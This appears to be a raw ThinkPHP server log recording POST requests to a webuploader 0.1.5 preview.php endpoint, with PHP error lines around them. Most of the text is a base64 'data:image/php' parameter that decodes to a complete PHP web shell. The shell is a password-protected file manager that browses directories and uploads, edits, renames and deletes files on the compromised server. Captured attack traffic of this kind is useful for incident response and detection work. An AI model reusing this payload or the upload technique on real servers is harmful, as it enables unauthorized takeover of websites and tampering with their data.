kgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'lib' => 'webuploader', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T09:06:33+08:00 ] 119.42.146.234 POST 59.110.137.245/public/style/admin/plugins/webuploader/0.1.5/server/preview.php [运行时间:0.002845s] [吞吐率:351.52req/s] [内存消耗:196.88kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'public', 2 => 'style', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGF